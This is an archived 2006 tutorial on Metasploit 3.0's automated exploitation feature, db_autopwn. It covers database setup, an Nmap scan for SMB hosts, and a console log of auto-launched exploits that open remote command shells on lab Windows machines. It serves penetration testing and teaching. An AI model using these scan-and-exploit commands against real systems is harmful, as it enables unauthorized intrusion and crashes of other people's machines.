[ Metasploit 3.0 Automated Exploitation ]
H D Moore <hdm[at]metasploit.com>
Original version:
http://metasploit.blogspot.com/2006/09/metasploit-30-automated-exploitation.html
A recurring theme in my presentations about Metasploit 3.0 is the need for
exploit automation. As of tonight, we finally have enough code completed
to give a quick demonstration :-)
Metasploit 3 uses the ActiveRecord module (part of RoR) to provide an
object-oriented interface to an arbitrary database service. Database
support is enabled by installing RubyGems, ActiveRecord ("gem install
activerecord"), and a database-specific driver ("gem install [ postgresql
| sqlite3 | mysql | etc ]"). Once these components have been installed,
you will need to load the appropriate plugin from the msfconsole
interface for the database that you want to use. The completed plugins
include db_postgres, db_sqlite3, and db_sqlite2.
For this example, we will use the PostgreSQL database server on a Gentoo
Linux system. While the SQLite database support is functional,
performance problems will prevent it from being useful for performing
large-scale exploit automation.
You will need a recent version of Ruby (1.8.4+ works nicely), a recent
version of PostgreSQL, and a Subversion client for downloading the
Metasploit source code. Once these are in place, you need to verify that
RubyGems is also installed. If the gem command is not in your path, you
will need to install RubyGems. On Gentoo, the command emerge rubygems
will build and install this package. Once RubyGems is installed, you need
to use the gem command to install ActiveRecord and the PostgreSQL driver
for Ruby. This can be accomplished with the commands gem install
activerecord and gem install postgres. To verify your installation, run
the following command, which should produce no output or errors: ruby -e
'require "rubygems"; require_gem "postgres";'
Once the prerequisites are in place, you need to create a PostgreSQL
instance. If you already have a PostgreSQL server running, you can skip
this step. To create a new database instance, run the following commands:
$ initdb ~/metasploitdb
$ pg_ctl -D ~/metasploitdb start
Finally, you need to grab the latest copy of the Metasploit Framework
source from the public Subversion tree:
$ svn checkout http://metasploit.com/svn/framework3/trunk/ framework3
To obtain the latest updates in the future, just change into the
framework3 directory and execute svn update.
Change into the framework3 directory and execute ./msfconsole. You may see
a few warning messages about broken modules that you can safely ignore,
but eventually you should be looking at a msf> prompt. Load the
PostgreSQL driver plugin using the following command:
msf > load db_postgres
Once the plugin loads, type the help command and look at the new options
listed under the Postgres Database section. Since we do not have an
existing database, we want to use the db_create command. If you created
the PostgreSQL instance using the commands above, this should result in
various NOTICE and ERROR messages as it loads the schema into the default
database name (metasploit3). If you are using an existing PostgreSQL
instance, you will need to pass the appropriate parameters to the
db_create command (see the help output for more information).
Now that the console is connected to a new database instance, a new set of
console commands become available. These are listed in the help output
under the Database Backend section. To verify that the database
connection is valid, execute the db_hosts command. If everything worked,
there should be no results and no errors listed. If you receive a error
message and a backtrace, use the db_disconnect command and try executing
db_create again with different parameters.
The console is connected to the database, the schema is in place, you are
now ready to import vulnerability data. The current version of the
framework supports Nessus NBE output files, Nmap XML output files, and a
wrapper command (db_nmap) that will launch the nmap port scanner and
record the results into the attached database.
Before you start loading data, take a quick look at the db_autopwn
command. If you run this command without any parameters, it should result
in a blob of text like the following:
msf > db_autopwn
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text
The db_autopwn command is where the exploitation magic happens. This
command will scan through the database tables and create a list of
modules that match up to specific vulnerabilities. This matching process
can happen in two different ways. The first method involves analyzing the
list of vulnerability references for every exploit and matching them up
with the references in every imported vulnerability record. This
cross-referencing method is fairly accurate and depends on standard
identifiers, such as OSVDB, Bugtraq, and CVE to match exploits with their
targets. The second method uses the default port associated with each
exploit module to locate targets running the same service. While this
will work in most cases, it can cause a fair amount of collateral damage
and is likely to miss vulnerabile services running on non-default ports.
At this point, you have a few options. You can either import an existing
Nessus NBE file using the db_import_nessus_nbe command, import an
existing Nmap XML output file using the db_import_nmap_xml command, or
use the db_nmap command to populate the database. The benefit of using a
Nessus NBE file is that it provides data for the cross-referencing mode
(-x) of db_autopwn. The benefit of using Nmap data is that you can
quickly attack a large group of systems without having to run a complete
vulnerability scan, but you will miss vulnerabilities that are not on the
default port of the associated Metasploit module.
Please keep in mind is that the db_autopwn command will treat ALL of the
records in the database as potential targets. Future versions of the
framework will include the ability to limit the targets to a specific set
of the entire database. Until this change occurs, be really careful about
what data you feed to the framework.Do NOT import anything into the
database that you are not allowed to exploit.
For the first attempt, try using the db_nmap command to identify all
Windows 2000 and Windows XP systems on the local network, that expose the
SMB service.
msf > db_nmap -p 445 [target]
Replace the [target] string with the network block of your local subnet or
the IP address of a specific target system that you want to test. This
command will use the Nmap port scanner to find systems with port 445
exposed. Once this command completes, use the db_services command to view
the results. If not hosts were found with port 445 open, no results will
be displayed by the db_services command.
Assuming that you found at least one system with port 445 open, its time
to run the db_autopwn command and see what modules it will launch.
Execute the following command from the console prompt:
msf > db_autopwn -p -t
The -t flag tells the command to display all the match results and the -p
flag indicates that port-based matching should be used to locate
potential targets. This command should show a handful of exploits and one
or two auxiliary modules for every system that was found with port 445
open. Don't worry about the auxiliary modules for now, as they are
disabled by default and need to be manually enabled. This is your last
chance to verify that every host in the target list is valid and that
exploiting (or crashing) these systems won't result in your incarceration
or lack of employment.
Time for the fun part! Execute the db_autopwn command again, this time
adding the -e flag. This will result in every one of those modules being
launched against their specified target. The default payload is a generic
bind shell, using a randomized port number for each attempt. Wait for
this command to complete and then execute the sessions -l command to view
the results. If any of those target systems were vulnerable, you should
see at least one command shell. To interact with these shells, use the
sessions -i [ID]. To detach from a shell, use control+Z, and to kill a
shell, use control+C.
Thats it for the basics. To expand the scope of the test, widen the port
range for the db_nmap command or import a Nessus NBE file. If the command
finishes, but exploits are still running, you can use the jobs command to
kill off any stragglers.
The log below is a result of my own testing against a local network full
of vulnerable virtual machines.
Enjoy!
-HD
$ ./msfconsole
=[ msf v3.0-beta-2-svn
+ -- --=[ 102 exploits - 93 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 13 aux
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf > db_create
dropdb: database removal failed: ERROR: database "metasploit3" does not
exist
CREATE DATABASE
ERROR: table "hosts" does not exist
[ snip ]
msf > db_nmap -p 445 192.168.0.0/24
Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-09-17 22:49
CDT
Interesting ports on destructo (192.168.0.2):
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on WIN2000DB.lan (192.168.0.106):
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on WINXPSP0.lan (192.168.0.108):
PORT STATE SERVICE
445/tcp open microsoft-ds
Interesting ports on WIN2000SP4.lan (192.168.0.139):
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap finished: 256 IP addresses (8 hosts up) scanned in 12.493 seconds
msf > db_services
[*] Service: host=192.168.0.2 port=445 proto=tcp state=up
name=microsoft-ds
[*] Service: host=192.168.0.106 port=445 proto=tcp state=up
name=microsoft-ds
[*] Service: host=192.168.0.108 port=445 proto=tcp state=up
name=microsoft-ds
[*] Service: host=192.168.0.139 port=445 proto=tcp state=up
name=microsoft-ds
msf > db_autopwn -p -t -e
[*] Analysis completed in 0.208992004394531 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against
192.168.0.106:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against
192.168.0.108:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against
192.168.0.2:445...
[ snip ]
[*] Calling the vulnerable function...
[*] Calling the vulnerable function...
[*] Trying to exploit Windows 2000 LAN Manager
[*] Bound to
6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.0.139
[\BROWSER] ...
[*] Building the stub data...
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 4 opened (192.168.0.145:60778 ->
192.168.0.139:26188)
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 5 opened (192.168.0.145:47380 ->
192.168.0.106:27700)
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.0.145:46858 -> 192.168.0.139:15441
2 Command shell 192.168.0.145:42700 -> 192.168.0.108:28199
3 Command shell 192.168.0.145:40966 -> 192.168.0.106:27915
4 Command shell 192.168.0.145:60778 -> 192.168.0.139:26188
5 Command shell 192.168.0.145:47380 -> 192.168.0.106:27700
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
# milw0rm.com [2006-09-18]
